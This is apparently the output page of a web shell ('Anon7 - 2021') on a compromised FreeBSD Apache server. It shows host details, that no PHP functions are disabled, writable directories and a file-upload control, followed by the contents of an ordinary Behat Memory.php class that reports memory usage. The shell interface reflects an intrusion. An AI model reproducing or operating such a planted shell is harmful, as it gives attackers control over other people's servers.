KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/irtiweb/CATS/vendor/behat/behat/src/Behat/Testwork/Counter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/irtiweb/CATS/vendor/behat/behat/src/Behat/Testwork/Counter/Memory.php
<?php

/*
 * This file is part of the Behat Testwork.
 * (c) Konstantin Kudryashov <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Behat\Testwork\Counter;

/**
 * Counts amount of system memory being used.
 *
 * @author Konstantin Kudryashov <[email protected]>
 */
final class Memory
{
    /**
     * @var string[]
     */
    private $units = array('B', 'Kb', 'Mb', 'Gb', 'Tb');

    /**
     * Returns current memory usage.
     *
     * @return integer
     */
    public function getMemoryUsage()
    {
        return memory_get_usage();
    }

    /**
     * Presents memory usage in human-readable form.
     *
     * @return string
     */
    public function __toString()
    {
        return $this->humanize($this->getMemoryUsage());
    }

    /**
     * Humanizes usage information.
     *
     * @param integer $bytes
     *
     * @return string
     */
    private function humanize($bytes)
    {
        $e = intval(floor(log($bytes) / log(1024)));

        if (!isset($this->units[$e])) {
            return 'Can not calculate memory usage';
        }

        return sprintf('%.2f%s', ($bytes / pow(1024, floor($e))), $this->units[$e]);
    }
}

Anon7 - 2021